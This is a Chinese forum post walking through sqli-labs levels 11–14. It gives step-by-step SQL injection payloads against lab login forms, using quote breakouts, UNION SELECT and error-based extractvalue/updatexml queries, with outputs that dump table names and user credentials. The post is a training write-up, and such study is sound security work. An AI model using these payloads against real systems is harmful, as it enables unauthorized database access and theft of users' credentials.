SQL注入【sqli靶场第11-14关】(三)

打印 上一主题 下一主题

主题 1034|帖子 1034|积分 3102

SQL注入【sqli靶场第11-14关】(三)

★★免责声明★★
文章中涉及的步伐(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta负担全部法律及连带责任,文章作者不负担当何法律及连带责任。
0、总体思绪

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ' " 1/0 ),页面显示不同内容或相应长度来确定。存在SQL注入后则开始构造轮子举行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。
为方便验证提交拦截到BP,右击到Repeater修改参数值举行验证看相应内容。
特殊字符说明
  1. +表示空格
  2. --表示注释
复制代码
以下内容验证都是在uname=后面构造举行验证。

1、Less11

POST - Error Based - Single quotes- String
1.1、判断是否存在SQL注入

正常相应长度

输入带单引号',相应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入
  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1
复制代码
1.2、确定查询字段个数

从界面上看应该是2个,但照旧以确定结果为准
  1. # 输入内容
  2. '+order+by+3--+
  3. # 关键结果
  4. Unknown column '3' in 'order clause'</br>
  5. # 修改为2
  6. '+order+by+2--+
  7. # 关键结果
  8. Your Login name:admin
  9. Your Password:admin
复制代码
所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

1.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要实验报错函数
  1. # 验证内容1
  2. '+and+1=2+union+select+1,2--+
  3. # 输出内容
  4. Your Login name:1
  5. Your Password:2
  6. # 验证内容2
  7. '+and+1=1+union+select+1,2--+
  8. # 验证内容2
  9. '+and+1=1+union+select+database(),user()--+
  10. # 输出内容
  11. Your Login name:admin
  12. Your Password:admin
复制代码
1.4、报错函数

1.4.1、获取数据库名和账号

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,
  1. # 字符型
  2. extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
  3. #数字型
  4. extractvalue(1,concat(0x7e,(select+user()),0x7e))=1
复制代码
根据报错函数获取到数据库名,登录名
  1. # 输入内容
  2. 'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
  3. # 输出内容
  4. XPATH syntax error: '~security~'</br>
  5. # 输入内容
  6. 'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
  7. # 输出内容
  8. XPATH syntax error: '~root@localhost~'</br>
复制代码
报错函数updatexml,字符型后面有加单引号,数字型没有,以下的函数结果和上面的内容获取的结果是一样的
  1. # 字符型
  2. (updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
  3. #数字型
  4. (updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
复制代码
1.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码
  1. # 输入内容
  2. 'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1
  3. # 输出内容
  4. XPATH syntax error: '#emails,referers,uagents,users'</br>
复制代码
从获取到的数据库表名,users应该就是存储数据库登录名的表了。
注意:在靶场实行过程中可获取:数据库=>表=>字段=>数据  ,但在实战过程中,到数据库这个步骤就行,不要去查数据。
1.4.3、获取表对应字段
  1. # 输入内容
  2. 'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1
  3. # 输出内容
  4. XPATH syntax error: '#id,username,password'</br>
复制代码
1.4.4、获取表数据
  1. # 输入内容
  2. 'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1
  3. # 输出内容
  4. XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>
复制代码
1.5、验证登录

使用账号/密码:Dumb/Dumb,登录成功

2、Less12

POST - Error Based - Double quotes- String-with twist
2.1、判断是否存在SQL注入

正常相应长度

输入带单引号'发现没有变化

实验用双引号",相应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入
  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1
复制代码
2.2、确定查询字段个数

从界面上看应该是2个,但照旧以确定结果为准
  1. # 输入内容
  2. "+order+by+3--+
  3. # 输出结果
  4. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>
复制代码
从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证
  1. # 输入内容
  2. ")+order+by+3--+
  3. # 输出结果
  4. Unknown column '3' in 'order clause'</br>
  5. # 修改为2
  6. ")+order+by+2--+
  7. # 输出结果
  8. Your Login name:admin
  9. Your Password:admin
复制代码
所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。
注意后面的所有内容破解前面部门都是需要")把前面语句闭合。
2.3、联合查询

2.3.1、获取数据库名和账号

通过union语句方式查询数据库,用户名。
  1. # 输入内容
  2. ")+and+1=2+union+select+database(),user()--+
  3. # 输出结果
  4. Your Login name:security
  5. Your Password:root@localhost
复制代码
2.3.2、获取表名

上面得到的数据库,进一步获取表名
  1. # 输入内容
  2. ")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+
  3. # 输出结果
  4. Your Login name:1
  5. Your Password:emails,referers,uagents,users
复制代码
从获取到的数据库表名,users应该就是存储数据库登录名的表了。
2.3.3、获取表对应字段
  1. # 输入内容
  2. ")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+
  3. # 输出结果
  4. Your Login name:1
  5. Your Password:id,username,password
复制代码
2.3.4、获取表数据
  1. # 输入内容
  2. ")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+
  3. # 输出结果
  4. Your Login name:1
  5. Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4
复制代码
账号/密码有点多,随便找一个举行验证。
2.4、验证登录

使用账号/密码:admin3/admin3,登录成功

3、Less13

POST - Double Injection - Single quotes- String -with twist
3.1、判断是否存在SQL注入

正常相应长度

输入带单引号',相应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入
  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1
复制代码
3.2、确定查询字段个数

从界面上看应该是2个,但照旧以确定结果为准
  1. # 输入内容
  2. '+order+by+3--+
  3. # 输出结果
  4. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>
复制代码
从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证
  1. # 输入内容
  2. ')+order+by+3--+
  3. # 输出结果
  4. Unknown column '3' in 'order clause'</br>
  5. # 修改为2
  6. ')+order+by+2--+
  7. # 输出结果--没有报错内容
复制代码
所以可以确定的是查询字段是2个
注意后面的所有内容破解前面部门都是需要')把前面语句闭合。
3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要实验报错函数
  1. # 输入内容
  2. ')+and+1=1+union+select+database(),user()--+
复制代码

3.4、报错函数

3.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名
  1. # 输入内容
  2. 'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
  3. # 输出内容
  4. XPATH syntax error: '~security~'</br>
  5. # 输入内容
  6. 'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
  7. # 输出内容
  8. XPATH syntax error: '~root@localhost~'</br>
复制代码
3.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码,前面部门加上')用来闭合前面的语句,后面=1而不是='1,再加上--+用于注释后面的语句,获取了表名了。
  1. # 输入内容
  2. ')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
  3. # 输出内容
  4. XPATH syntax error: '#emails,referers,uagents,users'</br>
复制代码

4、Less14

POST - Double Injection - Single quotes- String -with twist
4.1、判断是否存在SQL注入

正常相应长度

输入带双引号",相应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入
  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>
复制代码
4.2、确定查询字段个数

从界面上看应该是2个,但照旧以确定结果为准
  1. # 输入内容
  2. "+order+by+3--+
  3. # 输出结果
  4. Unknown column '3' in 'order clause'</br>
  5. # 修改为2
  6. "+order+by+2--+
  7. # 输出结果--没有报错内容
复制代码
所以可以确定的是查询字段是2个。
4.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要实验报错函数
  1. # 输入内容
  2. "+and+1=1+union+select+database(),user()--+
复制代码

4.4、报错函数

4.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名
  1. # 输入内容
  2. "and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1
  3. # 输出内容
  4. XPATH syntax error: '~security~'</br>
  5. # 输入内容
  6. "and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1
  7. # 输出内容
  8. XPATH syntax error: '~root@localhost~'</br>
复制代码
5、资料获取

sqli-labs靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》
6、我的公众号

敬请关注我的公众号:大象只为你,持续更新技术知识中......

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我可以不吃啊

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表